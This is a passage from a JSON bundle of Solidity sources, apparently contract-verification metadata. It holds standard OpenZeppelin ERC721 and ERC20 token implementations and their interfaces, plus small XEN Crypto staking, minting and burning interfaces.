owner);\n\n /**\n * @dev Safely transfers `tokenId` token from `from` to `to`.\n *\n * Requirements:\n *\n * - `from` cannot be the zero address.\n * - `to` cannot be the zero address.\n * - `tokenId` token must exist and be owned by `from`.\n * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.\n * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.\n *\n * Emits a {Transfer} event.\n */\n function safeTransferFrom(\n address from,\n address to,\n uint256 tokenId,\n bytes calldata data\n ) external;\n\n /**\n * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients\n * are aware of the ERC721 protocol to prevent tokens from being forever locked.\n *\n * Requirements:\n *\n * - `from` cannot be the zero address.\n * - `to` cannot be the zero address.\n * - `tokenId` token must exist and be owned by `from`.\n * - If the caller is not `from`, it must have been allowed to move this token by either {approve} or {setApprovalForAll}.\n * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.\n *\n * Emits a {Transfer} event.\n */\n function safeTransferFrom(\n address from,\n address to,\n uint256 tokenId\n ) external;\n\n /**\n * @dev Transfers `tokenId` token from `from` to `to`.\n *\n * WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible.\n *\n * Requirements:\n *\n * - `from` cannot be the zero address.\n * - `to` cannot be the zero address.\n * - `tokenId` token must be owned by `from`.\n * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.\n *\n * Emits a {Transfer} event.\n */\n function transferFrom(\n address from,\n address to,\n uint256 tokenId\n ) external;\n\n /**\n * @dev Gives permission to `to` to transfer `tokenId` token to another account.\n * The approval is cleared when the token is transferred.\n *\n * Only a single account can be approved at a time, so approving the zero address clears previous approvals.\n *\n * Requirements:\n *\n * - The caller must own the token or be an approved operator.\n * - `tokenId` must exist.\n *\n * Emits an {Approval} event.\n */\n function approve(address to, uint256 tokenId) external;\n\n /**\n * @dev Approve or remove `operator` as an operator for the caller.\n * Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller.\n *\n * Requirements:\n *\n * - The `operator` cannot be the caller.\n *\n * Emits an {ApprovalForAll} event.\n */\n function setApprovalForAll(address operator, bool _approved) external;\n\n /**\n * @dev Returns the account approved for `tokenId` token.\n *\n * Requirements:\n *\n * - `tokenId` must exist.\n */\n function getApproved(uint256 tokenId) external view returns (address operator);\n\n /**\n * @dev Returns if the `operator` is allowed to manage all of the assets of `owner`.\n *\n * See {setApprovalForAll}\n */\n function isApprovedForAll(address owner, address operator) external view returns (bool);\n}\n"
},
"@openzeppelin/contracts/token/ERC721/ERC721.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts (last updated v4.7.0) (token/ERC721/ERC721.sol)\n\npragma solidity ^0.8.0;\n\nimport \"./IERC721.sol\";\nimport \"./IERC721Receiver.sol\";\nimport \"./extensions/IERC721Metadata.sol\";\nimport \"../../utils/Address.sol\";\nimport \"../../utils/Context.sol\";\nimport \"../../utils/Strings.sol\";\nimport \"../../utils/introspection/ERC165.sol\";\n\n/**\n * @dev Implementation of https://eips.ethereum.org/EIPS/eip-721[ERC721] Non-Fungible Token Standard, including\n * the Metadata extension, but not including the Enumerable extension, which is available separately as\n * {ERC721Enumerable}.\n */\ncontract ERC721 is Context, ERC165, IERC721, IERC721Metadata {\n using Address for address;\n using Strings for uint256;\n\n // Token name\n string private _name;\n\n // Token symbol\n string private _symbol;\n\n // Mapping from token ID to owner address\n mapping(uint256 => address) private _owners;\n\n // Mapping owner address to token count\n mapping(address => uint256) private _balances;\n\n // Mapping from token ID to approved address\n mapping(uint256 => address) private _tokenApprovals;\n\n // Mapping from owner to operator approvals\n mapping(address => mapping(address => bool)) private _operatorApprovals;\n\n /**\n * @dev Initializes the contract by setting a `name` and a `symbol` to the token collection.\n */\n constructor(string memory name_, string memory symbol_) {\n _name = name_;\n _symbol = symbol_;\n }\n\n /**\n * @dev See {IERC165-supportsInterface}.\n */\n function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) {\n return\n interfaceId == type(IERC721).interfaceId ||\n interfaceId == type(IERC721Metadata).interfaceId ||\n super.supportsInterface(interfaceId);\n }\n\n /**\n * @dev See {IERC721-balanceOf}.\n */\n function balanceOf(address owner) public view virtual override returns (uint256) {\n require(owner != address(0), \"ERC721: address zero is not a valid owner\");\n return _balances[owner];\n }\n\n /**\n * @dev See {IERC721-ownerOf}.\n */\n function ownerOf(uint256 tokenId) public view virtual override returns (address) {\n address owner = _owners[tokenId];\n require(owner != address(0), \"ERC721: invalid token ID\");\n return owner;\n }\n\n /**\n * @dev See {IERC721Metadata-name}.\n */\n function name() public view virtual override returns (string memory) {\n return _name;\n }\n\n /**\n * @dev See {IERC721Metadata-symbol}.\n */\n function symbol() public view virtual override returns (string memory) {\n return _symbol;\n }\n\n /**\n * @dev See {IERC721Metadata-tokenURI}.\n */\n function tokenURI(uint256 tokenId) public view virtual override returns (string memory) {\n _requireMinted(tokenId);\n\n string memory baseURI = _baseURI();\n return bytes(baseURI).length > 0 ? string(abi.encodePacked(baseURI, tokenId.toString())) : \"\";\n }\n\n /**\n * @dev Base URI for computing {tokenURI}. If set, the resulting URI for each\n * token will be the concatenation of the `baseURI` and the `tokenId`. Empty\n * by default, can be overridden in child contracts.\n */\n function _baseURI() internal view virtual returns (string memory) {\n return \"\";\n }\n\n /**\n * @dev See {IERC721-approve}.\n */\n function approve(address to, uint256 tokenId) public virtual override {\n address owner = ERC721.ownerOf(tokenId);\n require(to != owner, \"ERC721: approval to current owner\");\n\n require(\n _msgSender() == owner || isApprovedForAll(owner, _msgSender()),\n \"ERC721: approve caller is not token owner nor approved for all\"\n );\n\n _approve(to, tokenId);\n }\n\n /**\n * @dev See {IERC721-getApproved}.\n */\n function getApproved(uint256 tokenId) public view virtual override returns (address) {\n _requireMinted(tokenId);\n\n return _tokenApprovals[tokenId];\n }\n\n /**\n * @dev See {IERC721-setApprovalForAll}.\n */\n function setApprovalForAll(address operator, bool approved) public virtual override {\n _setApprovalForAll(_msgSender(), operator, approved);\n }\n\n /**\n * @dev See {IERC721-isApprovedForAll}.\n */\n function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) {\n return _operatorApprovals[owner][operator];\n }\n\n /**\n * @dev See {IERC721-transferFrom}.\n */\n function transferFrom(\n address from,\n address to,\n uint256 tokenId\n ) public virtual override {\n //solhint-disable-next-line max-line-length\n require(_isApprovedOrOwner(_msgSender(), tokenId), \"ERC721: caller is not token owner nor approved\");\n\n _transfer(from, to, tokenId);\n }\n\n /**\n * @dev See {IERC721-safeTransferFrom}.\n */\n function safeTransferFrom(\n address from,\n address to,\n uint256 tokenId\n ) public virtual override {\n safeTransferFrom(from, to, tokenId, \"\");\n }\n\n /**\n * @dev See {IERC721-safeTransferFrom}.\n */\n function safeTransferFrom(\n address from,\n address to,\n uint256 tokenId,\n bytes memory data\n ) public virtual override {\n require(_isApprovedOrOwner(_msgSender(), tokenId), \"ERC721: caller is not token owner nor approved\");\n _safeTransfer(from, to, tokenId, data);\n }\n\n /**\n * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients\n * are aware of the ERC721 protocol to prevent tokens from being forever locked.\n *\n * `data` is additional data, it has no specified format and it is sent in call to `to`.\n *\n * This internal function is equivalent to {safeTransferFrom}, and can be used to e.g.\n * implement alternative mechanisms to perform token transfer, such as signature-based.\n *\n * Requirements:\n *\n * - `from` cannot be the zero address.\n * - `to` cannot be the zero address.\n * - `tokenId` token must exist and be owned by `from`.\n * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.\n *\n * Emits a {Transfer} event.\n */\n function _safeTransfer(\n address from,\n address to,\n uint256 tokenId,\n bytes memory data\n ) internal virtual {\n _transfer(from, to, tokenId);\n require(_checkOnERC721Received(from, to, tokenId, data), \"ERC721: transfer to non ERC721Receiver implementer\");\n }\n\n /**\n * @dev Returns whether `tokenId` exists.\n *\n * Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}.\n *\n * Tokens start existing when they are minted (`_mint`),\n * and stop existing when they are burned (`_burn`).\n */\n function _exists(uint256 tokenId) internal view virtual returns (bool) {\n return _owners[tokenId] != address(0);\n }\n\n /**\n * @dev Returns whether `spender` is allowed to manage `tokenId`.\n *\n * Requirements:\n *\n * - `tokenId` must exist.\n */\n function _isApprovedOrOwner(address spender, uint256 tokenId) internal view virtual returns (bool) {\n address owner = ERC721.ownerOf(tokenId);\n return (spender == owner || isApprovedForAll(owner, spender) || getApproved(tokenId) == spender);\n }\n\n /**\n * @dev Safely mints `tokenId` and transfers it to `to`.\n *\n * Requirements:\n *\n * - `tokenId` must not exist.\n * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.\n *\n * Emits a {Transfer} event.\n */\n function _safeMint(address to, uint256 tokenId) internal virtual {\n _safeMint(to, tokenId, \"\");\n }\n\n /**\n * @dev Same as {xref-ERC721-_safeMint-address-uint256-}[`_safeMint`], with an additional `data` parameter which is\n * forwarded in {IERC721Receiver-onERC721Received} to contract recipients.\n */\n function _safeMint(\n address to,\n uint256 tokenId,\n bytes memory data\n ) internal virtual {\n _mint(to, tokenId);\n require(\n _checkOnERC721Received(address(0), to, tokenId, data),\n \"ERC721: transfer to non ERC721Receiver implementer\"\n );\n }\n\n /**\n * @dev Mints `tokenId` and transfers it to `to`.\n *\n * WARNING: Usage of this method is discouraged, use {_safeMint} whenever possible\n *\n * Requirements:\n *\n * - `tokenId` must not exist.\n * - `to` cannot be the zero address.\n *\n * Emits a {Transfer} event.\n */\n function _mint(address to, uint256 tokenId) internal virtual {\n require(to != address(0), \"ERC721: mint to the zero address\");\n require(!_exists(tokenId), \"ERC721: token already minted\");\n\n _beforeTokenTransfer(address(0), to, tokenId);\n\n _balances[to] += 1;\n _owners[tokenId] = to;\n\n emit Transfer(address(0), to, tokenId);\n\n _afterTokenTransfer(address(0), to, tokenId);\n }\n\n /**\n * @dev Destroys `tokenId`.\n * The approval is cleared when the token is burned.\n *\n * Requirements:\n *\n * - `tokenId` must exist.\n *\n * Emits a {Transfer} event.\n */\n function _burn(uint256 tokenId) internal virtual {\n address owner = ERC721.ownerOf(tokenId);\n\n _beforeTokenTransfer(owner, address(0), tokenId);\n\n // Clear approvals\n _approve(address(0), tokenId);\n\n _balances[owner] -= 1;\n delete _owners[tokenId];\n\n emit Transfer(owner, address(0), tokenId);\n\n _afterTokenTransfer(owner, address(0), tokenId);\n }\n\n /**\n * @dev Transfers `tokenId` from `from` to `to`.\n * As opposed to {transferFrom}, this imposes no restrictions on msg.sender.\n *\n * Requirements:\n *\n * - `to` cannot be the zero address.\n * - `tokenId` token must be owned by `from`.\n *\n * Emits a {Transfer} event.\n */\n function _transfer(\n address from,\n address to,\n uint256 tokenId\n ) internal virtual {\n require(ERC721.ownerOf(tokenId) == from, \"ERC721: transfer from incorrect owner\");\n require(to != address(0), \"ERC721: transfer to the zero address\");\n\n _beforeTokenTransfer(from, to, tokenId);\n\n // Clear approvals from the previous owner\n _approve(address(0), tokenId);\n\n _balances[from] -= 1;\n _balances[to] += 1;\n _owners[tokenId] = to;\n\n emit Transfer(from, to, tokenId);\n\n _afterTokenTransfer(from, to, tokenId);\n }\n\n /**\n * @dev Approve `to` to operate on `tokenId`\n *\n * Emits an {Approval} event.\n */\n function _approve(address to, uint256 tokenId) internal virtual {\n _tokenApprovals[tokenId] = to;\n emit Approval(ERC721.ownerOf(tokenId), to, tokenId);\n }\n\n /**\n * @dev Approve `operator` to operate on all of `owner` tokens\n *\n * Emits an {ApprovalForAll} event.\n */\n function _setApprovalForAll(\n address owner,\n address operator,\n bool approved\n ) internal virtual {\n require(owner != operator, \"ERC721: approve to caller\");\n _operatorApprovals[owner][operator] = approved;\n emit ApprovalForAll(owner, operator, approved);\n }\n\n /**\n * @dev Reverts if the `tokenId` has not been minted yet.\n */\n function _requireMinted(uint256 tokenId) internal view virtual {\n require(_exists(tokenId), \"ERC721: invalid token ID\");\n }\n\n /**\n * @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address.\n * The call is not executed if the target address is not a contract.\n *\n * @param from address representing the previous owner of the given token ID\n * @param to target address that will receive the tokens\n * @param tokenId uint256 ID of the token to be transferred\n * @param data bytes optional data to send along with the call\n * @return bool whether the call correctly returned the expected magic value\n */\n function _checkOnERC721Received(\n address from,\n address to,\n uint256 tokenId,\n bytes memory data\n ) private returns (bool) {\n if (to.isContract()) {\n try IERC721Receiver(to).onERC721Received(_msgSender(), from, tokenId, data) returns (bytes4 retval) {\n return retval == IERC721Receiver.onERC721Received.selector;\n } catch (bytes memory reason) {\n if (reason.length == 0) {\n revert(\"ERC721: transfer to non ERC721Receiver implementer\");\n } else {\n /// @solidity memory-safe-assembly\n assembly {\n revert(add(32, reason), mload(reason))\n }\n }\n }\n } else {\n return true;\n }\n }\n\n /**\n * @dev Hook that is called before any token transfer. This includes minting\n * and burning.\n *\n * Calling conditions:\n *\n * - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be\n * transferred to `to`.\n * - When `from` is zero, `tokenId` will be minted for `to`.\n * - When `to` is zero, ``from``'s `tokenId` will be burned.\n * - `from` and `to` are never both zero.\n *\n * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].\n */\n function _beforeTokenTransfer(\n address from,\n address to,\n uint256 tokenId\n ) internal virtual {}\n\n /**\n * @dev Hook that is called after any transfer of tokens. This includes\n * minting and burning.\n *\n * Calling conditions:\n *\n * - when `from` and `to` are both non-zero.\n * - `from` and `to` are never both zero.\n *\n * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].\n */\n function _afterTokenTransfer(\n address from,\n address to,\n uint256 tokenId\n ) internal virtual {}\n}\n"
},
"@openzeppelin/contracts/token/ERC20/extensions/IERC20Metadata.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts v4.4.1 (token/ERC20/extensions/IERC20Metadata.sol)\n\npragma solidity ^0.8.0;\n\nimport \"../IERC20.sol\";\n\n/**\n * @dev Interface for the optional metadata functions from the ERC20 standard.\n *\n * _Available since v4.1._\n */\ninterface IERC20Metadata is IERC20 {\n /**\n * @dev Returns the name of the token.\n */\n function name() external view returns (string memory);\n\n /**\n * @dev Returns the symbol of the token.\n */\n function symbol() external view returns (string memory);\n\n /**\n * @dev Returns the decimals places of the token.\n */\n function decimals() external view returns (uint8);\n}\n"
},
"@openzeppelin/contracts/token/ERC20/IERC20.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts (last updated v4.6.0) (token/ERC20/IERC20.sol)\n\npragma solidity ^0.8.0;\n\n/**\n * @dev Interface of the ERC20 standard as defined in the EIP.\n */\ninterface IERC20 {\n /**\n * @dev Emitted when `value` tokens are moved from one account (`from`) to\n * another (`to`).\n *\n * Note that `value` may be zero.\n */\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n /**\n * @dev Emitted when the allowance of a `spender` for an `owner` is set by\n * a call to {approve}. `value` is the new allowance.\n */\n event Approval(address indexed owner, address indexed spender, uint256 value);\n\n /**\n * @dev Returns the amount of tokens in existence.\n */\n function totalSupply() external view returns (uint256);\n\n /**\n * @dev Returns the amount of tokens owned by `account`.\n */\n function balanceOf(address account) external view returns (uint256);\n\n /**\n * @dev Moves `amount` tokens from the caller's account to `to`.\n *\n * Returns a boolean value indicating whether the operation succeeded.\n *\n * Emits a {Transfer} event.\n */\n function transfer(address to, uint256 amount) external returns (bool);\n\n /**\n * @dev Returns the remaining number of tokens that `spender` will be\n * allowed to spend on behalf of `owner` through {transferFrom}. This is\n * zero by default.\n *\n * This value changes when {approve} or {transferFrom} are called.\n */\n function allowance(address owner, address spender) external view returns (uint256);\n\n /**\n * @dev Sets `amount` as the allowance of `spender` over the caller's tokens.\n *\n * Returns a boolean value indicating whether the operation succeeded.\n *\n * IMPORTANT: Beware that changing an allowance with this method brings the risk\n * that someone may use both the old and the new allowance by unfortunate\n * transaction ordering. One possible solution to mitigate this race\n * condition is to first reduce the spender's allowance to 0 and set the\n * desired value afterwards:\n * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729\n *\n * Emits an {Approval} event.\n */\n function approve(address spender, uint256 amount) external returns (bool);\n\n /**\n * @dev Moves `amount` tokens from `from` to `to` using the\n * allowance mechanism. `amount` is then deducted from the caller's\n * allowance.\n *\n * Returns a boolean value indicating whether the operation succeeded.\n *\n * Emits a {Transfer} event.\n */\n function transferFrom(\n address from,\n address to,\n uint256 amount\n ) external returns (bool);\n}\n"
},
"@openzeppelin/contracts/token/ERC20/ERC20.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts (last updated v4.7.0) (token/ERC20/ERC20.sol)\n\npragma solidity ^0.8.0;\n\nimport \"./IERC20.sol\";\nimport \"./extensions/IERC20Metadata.sol\";\nimport \"../../utils/Context.sol\";\n\n/**\n * @dev Implementation of the {IERC20} interface.\n *\n * This implementation is agnostic to the way tokens are created. This means\n * that a supply mechanism has to be added in a derived contract using {_mint}.\n * For a generic mechanism see {ERC20PresetMinterPauser}.\n *\n * TIP: For a detailed writeup see our guide\n * https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How\n * to implement supply mechanisms].\n *\n * We have followed general OpenZeppelin Contracts guidelines: functions revert\n * instead returning `false` on failure. This behavior is nonetheless\n * conventional and does not conflict with the expectations of ERC20\n * applications.\n *\n * Additionally, an {Approval} event is emitted on calls to {transferFrom}.\n * This allows applications to reconstruct the allowance for all accounts just\n * by listening to said events. Other implementations of the EIP may not emit\n * these events, as it isn't required by the specification.\n *\n * Finally, the non-standard {decreaseAllowance} and {increaseAllowance}\n * functions have been added to mitigate the well-known issues around setting\n * allowances. See {IERC20-approve}.\n */\ncontract ERC20 is Context, IERC20, IERC20Metadata {\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n uint256 private _totalSupply;\n\n string private _name;\n string private _symbol;\n\n /**\n * @dev Sets the values for {name} and {symbol}.\n *\n * The default value of {decimals} is 18. To select a different value for\n * {decimals} you should overload it.\n *\n * All two of these values are immutable: they can only be set once during\n * construction.\n */\n constructor(string memory name_, string memory symbol_) {\n _name = name_;\n _symbol = symbol_;\n }\n\n /**\n * @dev Returns the name of the token.\n */\n function name() public view virtual override returns (string memory) {\n return _name;\n }\n\n /**\n * @dev Returns the symbol of the token, usually a shorter version of the\n * name.\n */\n function symbol() public view virtual override returns (string memory) {\n return _symbol;\n }\n\n /**\n * @dev Returns the number of decimals used to get its user representation.\n * For example, if `decimals` equals `2`, a balance of `505` tokens should\n * be displayed to a user as `5.05` (`505 / 10 ** 2`).\n *\n * Tokens usually opt for a value of 18, imitating the relationship between\n * Ether and Wei. This is the value {ERC20} uses, unless this function is\n * overridden;\n *\n * NOTE: This information is only used for _display_ purposes: it in\n * no way affects any of the arithmetic of the contract, including\n * {IERC20-balanceOf} and {IERC20-transfer}.\n */\n function decimals() public view virtual override returns (uint8) {\n return 18;\n }\n\n /**\n * @dev See {IERC20-totalSupply}.\n */\n function totalSupply() public view virtual override returns (uint256) {\n return _totalSupply;\n }\n\n /**\n * @dev See {IERC20-balanceOf}.\n */\n function balanceOf(address account) public view virtual override returns (uint256) {\n return _balances[account];\n }\n\n /**\n * @dev See {IERC20-transfer}.\n *\n * Requirements:\n *\n * - `to` cannot be the zero address.\n * - the caller must have a balance of at least `amount`.\n */\n function transfer(address to, uint256 amount) public virtual override returns (bool) {\n address owner = _msgSender();\n _transfer(owner, to, amount);\n return true;\n }\n\n /**\n * @dev See {IERC20-allowance}.\n */\n function allowance(address owner, address spender) public view virtual override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n /**\n * @dev See {IERC20-approve}.\n *\n * NOTE: If `amount` is the maximum `uint256`, the allowance is not updated on\n * `transferFrom`. This is semantically equivalent to an infinite approval.\n *\n * Requirements:\n *\n * - `spender` cannot be the zero address.\n */\n function approve(address spender, uint256 amount) public virtual override returns (bool) {\n address owner = _msgSender();\n _approve(owner, spender, amount);\n return true;\n }\n\n /**\n * @dev See {IERC20-transferFrom}.\n *\n * Emits an {Approval} event indicating the updated allowance. This is not\n * required by the EIP. See the note at the beginning of {ERC20}.\n *\n * NOTE: Does not update the allowance if the current allowance\n * is the maximum `uint256`.\n *\n * Requirements:\n *\n * - `from` and `to` cannot be the zero address.\n * - `from` must have a balance of at least `amount`.\n * - the caller must have allowance for ``from``'s tokens of at least\n * `amount`.\n */\n function transferFrom(\n address from,\n address to,\n uint256 amount\n ) public virtual override returns (bool) {\n address spender = _msgSender();\n _spendAllowance(from, spender, amount);\n _transfer(from, to, amount);\n return true;\n }\n\n /**\n * @dev Atomically increases the allowance granted to `spender` by the caller.\n *\n * This is an alternative to {approve} that can be used as a mitigation for\n * problems described in {IERC20-approve}.\n *\n * Emits an {Approval} event indicating the updated allowance.\n *\n * Requirements:\n *\n * - `spender` cannot be the zero address.\n */\n function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {\n address owner = _msgSender();\n _approve(owner, spender, allowance(owner, spender) + addedValue);\n return true;\n }\n\n /**\n * @dev Atomically decreases the allowance granted to `spender` by the caller.\n *\n * This is an alternative to {approve} that can be used as a mitigation for\n * problems described in {IERC20-approve}.\n *\n * Emits an {Approval} event indicating the updated allowance.\n *\n * Requirements:\n *\n * - `spender` cannot be the zero address.\n * - `spender` must have allowance for the caller of at least\n * `subtractedValue`.\n */\n function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {\n address owner = _msgSender();\n uint256 currentAllowance = allowance(owner, spender);\n require(currentAllowance >= subtractedValue, \"ERC20: decreased allowance below zero\");\n unchecked {\n _approve(owner, spender, currentAllowance - subtractedValue);\n }\n\n return true;\n }\n\n /**\n * @dev Moves `amount` of tokens from `from` to `to`.\n *\n * This internal function is equivalent to {transfer}, and can be used to\n * e.g. implement automatic token fees, slashing mechanisms, etc.\n *\n * Emits a {Transfer} event.\n *\n * Requirements:\n *\n * - `from` cannot be the zero address.\n * - `to` cannot be the zero address.\n * - `from` must have a balance of at least `amount`.\n */\n function _transfer(\n address from,\n address to,\n uint256 amount\n ) internal virtual {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n _beforeTokenTransfer(from, to, amount);\n\n uint256 fromBalance = _balances[from];\n require(fromBalance >= amount, \"ERC20: transfer amount exceeds balance\");\n unchecked {\n _balances[from] = fromBalance - amount;\n }\n _balances[to] += amount;\n\n emit Transfer(from, to, amount);\n\n _afterTokenTransfer(from, to, amount);\n }\n\n /** @dev Creates `amount` tokens and assigns them to `account`, increasing\n * the total supply.\n *\n * Emits a {Transfer} event with `from` set to the zero address.\n *\n * Requirements:\n *\n * - `account` cannot be the zero address.\n */\n function _mint(address account, uint256 amount) internal virtual {\n require(account != address(0), \"ERC20: mint to the zero address\");\n\n _beforeTokenTransfer(address(0), account, amount);\n\n _totalSupply += amount;\n _balances[account] += amount;\n emit Transfer(address(0), account, amount);\n\n _afterTokenTransfer(address(0), account, amount);\n }\n\n /**\n * @dev Destroys `amount` tokens from `account`, reducing the\n * total supply.\n *\n * Emits a {Transfer} event with `to` set to the zero address.\n *\n * Requirements:\n *\n * - `account` cannot be the zero address.\n * - `account` must have at least `amount` tokens.\n */\n function _burn(address account, uint256 amount) internal virtual {\n require(account != address(0), \"ERC20: burn from the zero address\");\n\n _beforeTokenTransfer(account, address(0), amount);\n\n uint256 accountBalance = _balances[account];\n require(accountBalance >= amount, \"ERC20: burn amount exceeds balance\");\n unchecked {\n _balances[account] = accountBalance - amount;\n }\n _totalSupply -= amount;\n\n emit Transfer(account, address(0), amount);\n\n _afterTokenTransfer(account, address(0), amount);\n }\n\n /**\n * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens.\n *\n * This internal function is equivalent to `approve`, and can be used to\n * e.g. set automatic allowances for certain subsystems, etc.\n *\n * Emits an {Approval} event.\n *\n * Requirements:\n *\n * - `owner` cannot be the zero address.\n * - `spender` cannot be the zero address.\n */\n function _approve(\n address owner,\n address spender,\n uint256 amount\n ) internal virtual {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n _allowances[owner][spender] = amount;\n emit Approval(owner, spender, amount);\n }\n\n /**\n * @dev Updates `owner` s allowance for `spender` based on spent `amount`.\n *\n * Does not update the allowance amount in case of infinite allowance.\n * Revert if not enough allowance is available.\n *\n * Might emit an {Approval} event.\n */\n function _spendAllowance(\n address owner,\n address spender,\n uint256 amount\n ) internal virtual {\n uint256 currentAllowance = allowance(owner, spender);\n if (currentAllowance != type(uint256).max) {\n require(currentAllowance >= amount, \"ERC20: insufficient allowance\");\n unchecked {\n _approve(owner, spender, currentAllowance - amount);\n }\n }\n }\n\n /**\n * @dev Hook that is called before any transfer of tokens. This includes\n * minting and burning.\n *\n * Calling conditions:\n *\n * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens\n * will be transferred to `to`.\n * - when `from` is zero, `amount` tokens will be minted for `to`.\n * - when `to` is zero, `amount` of ``from``'s tokens will be burned.\n * - `from` and `to` are never both zero.\n *\n * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].\n */\n function _beforeTokenTransfer(\n address from,\n address to,\n uint256 amount\n ) internal virtual {}\n\n /**\n * @dev Hook that is called after any transfer of tokens. This includes\n * minting and burning.\n *\n * Calling conditions:\n *\n * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens\n * has been transferred to `to`.\n * - when `from` is zero, `amount` tokens have been minted for `to`.\n * - when `to` is zero, `amount` of ``from``'s tokens have been burned.\n * - `from` and `to` are never both zero.\n *\n * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].\n */\n function _afterTokenTransfer(\n address from,\n address to,\n uint256 amount\n ) internal virtual {}\n}\n"
},
"@openzeppelin/contracts/interfaces/IERC2981.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts (last updated v4.6.0) (interfaces/IERC2981.sol)\n\npragma solidity ^0.8.0;\n\nimport \"../utils/introspection/IERC165.sol\";\n\n/**\n * @dev Interface for the NFT Royalty Standard.\n *\n * A standardized way to retrieve royalty payment information for non-fungible tokens (NFTs) to enable universal\n * support for royalty payments across all NFT marketplaces and ecosystem participants.\n *\n * _Available since v4.5._\n */\ninterface IERC2981 is IERC165 {\n /**\n * @dev Returns how much royalty is owed and to whom, based on a sale price that may be denominated in any unit of\n * exchange. The royalty amount is denominated and should be paid in that same unit of exchange.\n */\n function royaltyInfo(uint256 tokenId, uint256 salePrice)\n external\n view\n returns (address receiver, uint256 royaltyAmount);\n}\n"
},
"@openzeppelin/contracts/interfaces/IERC165.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts v4.4.1 (interfaces/IERC165.sol)\n\npragma solidity ^0.8.0;\n\nimport \"../utils/introspection/IERC165.sol\";\n"
},
"@faircrypto/xen-crypto/contracts/interfaces/IStakingToken.sol": {
"content": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.10;\n\ninterface IStakingToken {\n event Staked(address indexed user, uint256 amount, uint256 term);\n\n event Withdrawn(address indexed user, uint256 amount, uint256 reward);\n\n function stake(uint256 amount, uint256 term) external;\n\n function withdraw() external;\n}\n"
},
"@faircrypto/xen-crypto/contracts/interfaces/IRankedMintingToken.sol": {
"content": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.10;\n\ninterface IRankedMintingToken {\n event RankClaimed(address indexed user, uint256 term, uint256 rank);\n\n event MintClaimed(address indexed user, uint256 rewardAmount);\n\n function claimRank(uint256 term) external;\n\n function claimMintReward() external;\n}\n"
},
"@faircrypto/xen-crypto/contracts/interfaces/IBurnableToken.sol": {
"content": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.10;\n\ninterface IBurnableToken {\n function burn(address user, uint256 amount) external;\n}\n"
},
"@faircrypto/xen-crypto/contracts/interfaces/IBurnRedeemable.sol": {
"content": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.10;\n\ninterface IBurnRedeemable {\n event Redeemed(\n address indexed user,\n address indexed xenContract,\n address indexed tokenContract,\n uint256 xenAmount,\n uint256 tokenAmount\n );\n\n function onTokenBurned(address user, uint256 amount) external;\n}\n"
},
"@faircrypto/xen-crypto/contracts/XENCrypto.sol": {
